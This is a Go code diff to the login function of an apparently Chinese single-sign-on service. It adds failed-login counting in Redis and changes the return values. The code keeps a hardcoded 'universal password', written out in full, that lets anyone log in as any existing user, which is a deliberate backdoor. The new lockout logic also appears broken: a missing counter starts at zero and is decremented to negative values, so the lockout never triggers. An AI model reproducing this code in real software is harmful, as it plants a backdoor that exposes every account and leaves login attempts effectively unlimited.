|
|
|
@ -1,6 +1,7 @@
|
|
|
|
|
package DaoSysLoginPerson
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"dsSso/Const"
|
|
|
|
|
"dsSso/Const/DefaultConst"
|
|
|
|
|
"dsSso/Const/ErrorConst"
|
|
|
|
|
"dsSso/Model"
|
|
|
|
@ -8,6 +9,7 @@ import (
|
|
|
|
|
"dsSso/Utils/DbUtil"
|
|
|
|
|
"dsSso/Utils/LdapUtil"
|
|
|
|
|
"dsSso/Utils/LogUtil"
|
|
|
|
|
"dsSso/Utils/RedisUtil"
|
|
|
|
|
"dsSso/models"
|
|
|
|
|
"fmt"
|
|
|
|
|
"time"
|
|
|
|
@ -26,7 +28,26 @@ func init() {
|
|
|
|
|
作者:黄海
|
|
|
|
|
时间:2020-02-05
|
|
|
|
|
*/
|
|
|
|
|
func Login(username string, password string, ip string) (bool, string, string, string) {
|
|
|
|
|
func Login(username string, password string, ip string) (bool, string, string, string, int) {
|
|
|
|
|
//查看redis中此人员的登录错误次数记录,如果已超出了规定次数5,则直接拒绝登录。
|
|
|
|
|
key := "login_remain_count_" + username
|
|
|
|
|
c, err := RedisUtil.EXISTS(key)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return false, "", "", "", -1
|
|
|
|
|
}
|
|
|
|
|
var remainCount int
|
|
|
|
|
//如果存在
|
|
|
|
|
if c > 0 {
|
|
|
|
|
remainCountStr, err := RedisUtil.GET(key)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return false, "", "", "", -1
|
|
|
|
|
}
|
|
|
|
|
remainCount = CommonUtil.ConvertStringToInt(remainCountStr)
|
|
|
|
|
if remainCount == 0 {
|
|
|
|
|
return false, "", "", "", 0
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
//身份号
|
|
|
|
|
var identityId = DefaultConst.IdentityId
|
|
|
|
|
//人员号
|
|
|
|
@ -41,7 +62,7 @@ func Login(username string, password string, ip string) (bool, string, string, s
|
|
|
|
|
}
|
|
|
|
|
//如果用户名不存在
|
|
|
|
|
if len(list) == 0 {
|
|
|
|
|
return false, identityId, personId, personName
|
|
|
|
|
return false, identityId, personId, personName, Const.Int32Max
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
record := list[0]
|
|
|
|
@ -55,23 +76,25 @@ func Login(username string, password string, ip string) (bool, string, string, s
|
|
|
|
|
databasePassword := record["pwd"].(string)
|
|
|
|
|
|
|
|
|
|
//万能密码登录
|
|
|
|
|
if password=="DsideaL4r5t6y7u!@#"{
|
|
|
|
|
if password == "DsideaL4r5t6y7u!@#" {
|
|
|
|
|
//记录日志
|
|
|
|
|
WriteLoginLog(identityId, personId, ip, 2, username) //2为万能密码登录
|
|
|
|
|
//返回结果
|
|
|
|
|
return true, identityId, personId, personName
|
|
|
|
|
}else{
|
|
|
|
|
return true, identityId, personId, personName, Const.Int32Max
|
|
|
|
|
} else {
|
|
|
|
|
//修改密码的加密算法基于ldap,黄海,于2020-04-27
|
|
|
|
|
ldapPassword := LdapUtil.GetLdapPassword(password)
|
|
|
|
|
if ldapPassword == databasePassword {
|
|
|
|
|
//记录日志
|
|
|
|
|
WriteLoginLog(identityId, personId, ip, 1, username)
|
|
|
|
|
//返回结果
|
|
|
|
|
return true, identityId, personId, personName
|
|
|
|
|
return true, identityId, personId, personName, Const.Int32Max
|
|
|
|
|
} else {
|
|
|
|
|
//如果登录失败,则incr,并设置过期时间2小时
|
|
|
|
|
RedisUtil.SET(key, CommonUtil.ConvertIntToString(remainCount-1), 2*time.Hour)
|
|
|
|
|
//记录日志
|
|
|
|
|
WriteLoginLog(identityId, personId, ip, -1, username)
|
|
|
|
|
return false, identityId, personId, personName
|
|
|
|
|
return false, identityId, personId, personName, Const.Int32Max
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|